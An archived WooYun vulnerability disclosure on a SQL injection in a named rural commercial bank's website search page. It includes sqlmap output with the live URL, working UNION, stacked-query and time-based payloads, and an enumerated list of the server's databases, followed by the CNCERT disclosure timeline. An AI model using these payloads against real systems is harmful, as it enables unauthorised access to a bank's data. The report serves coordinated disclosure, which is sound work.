某农商银行一处意想不到的SQL注入(可跨多个数据库)

编号90601
Urlhttp://www.wooyun.org/bug.php?action=view&id=90601
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题某农商银行一处意想不到的SQL注入(可跨多个数据库)
漏洞类型SQL注射漏洞
厂商cncert国家互联网应急中心
白帽子#6c6c6c
提交日期2015-01-08 12:43:00
公开日期2015-02-22 12:44:00
修复时间(not set)
确认时间2015-01-13 00:00:00
Confirm Spend5
漏洞标签sql
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank9
漏洞简介
求:祖传老中医,专治吹牛逼
漏洞细节

注入地址:http://www.dlrcb.cn/NewsWebUI/NewSearchMapFrame.aspx?searchText=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:50:45
[02:50:45] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.dlrcb.
cn\session' as session file
[02:50:45] [INFO] testing connection to the target url
[02:50:46] [INFO] testing if the url is stable, wait a few seconds
[02:50:47] [INFO] url is stable
[02:50:47] [INFO] testing if GET parameter 'searchText' is dynamic
[02:50:47] [INFO] confirming that GET parameter 'searchText' is dynamic
[02:50:47] [INFO] GET parameter 'searchText' is dynamic
[02:50:47] [WARNING] heuristic test shows that GET parameter 'searchText' might
not be injectable
[02:50:47] [INFO] testing sql injection on GET parameter 'searchText'
[02:50:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:50:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:50:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:50:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:50:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:50:52] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:50:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:50:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:51:04] [INFO] GET parameter 'searchText' is 'Microsoft SQL Server/Sybase sta
cked queries' injectable
[02:51:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:51:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:51:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:51:15] [INFO] GET parameter 'searchText' is 'Microsoft SQL Server/Sybase tim
e-based blind' injectable
[02:51:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:51:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:51:20] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[02:51:25] [INFO] target url appears to have 10 columns in query
[02:51:42] [INFO] GET parameter 'searchText' is 'Generic UNION query (NULL) - 1
to 10 columns' injectable
GET parameter 'searchText' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 71 HTTP(s) requ
ests:
---
Place: GET
Parameter: searchText
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: searchText=' UNION ALL SELECT NULL, CHAR(58)+CHAR(109)+CHAR(105)+CH
AR(107)+CHAR(58)+CHAR(100)+CHAR(77)+CHAR(103)+CHAR(122)+CHAR(83)+CHAR(87)+CHAR(1
04)+CHAR(118)+CHAR(78)+CHAR(103)+CHAR(58)+CHAR(97)+CHAR(98)+CHAR(103)+CHAR(58),
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- AND 'VqAJ'='VqAJ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: searchText='; WAITFOR DELAY '0:0:5';-- AND 'HeVL'='HeVL
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: searchText=' WAITFOR DELAY '0:0:5'-- AND 'qDku'='qDku
---
[02:53:37] [INFO] testing MySQL
[02:53:38] [WARNING] the back-end DBMS is not MySQL
[02:53:38] [INFO] testing Oracle
[02:53:38] [WARNING] the back-end DBMS is not Oracle
[02:53:38] [INFO] testing PostgreSQL
[02:53:38] [WARNING] the back-end DBMS is not PostgreSQL
[02:53:38] [INFO] testing Microsoft SQL Server
[02:53:41] [INFO] confirming Microsoft SQL Server
[02:53:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[02:53:51] [INFO] fetching database names
available databases [8]:
[*] CmsDB
[*] dlrcb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[02:53:55] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.dlrcb.cn'
[*] shutting down at 02:53:55

POC

修复方案

状态信息 2015-01-08: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向核心白帽子及相关领域专家公开
2015-02-02: 细节向普通白帽子公开
2015-02-12: 细节向实习白帽子公开
2015-02-22: 细节向公众公开
厂商回复CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给辽宁分中心,由辽宁分中心后续协调网站管理单位处置。
回应信息危害等级:中漏洞Rank:9 确认时间:2015-01-13 10:21
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

难道说 在网站地图里?

越来越沉02015-01-08 14:04:00

有什么洞是意想得到....

Qiudays02015-01-08 13:41:00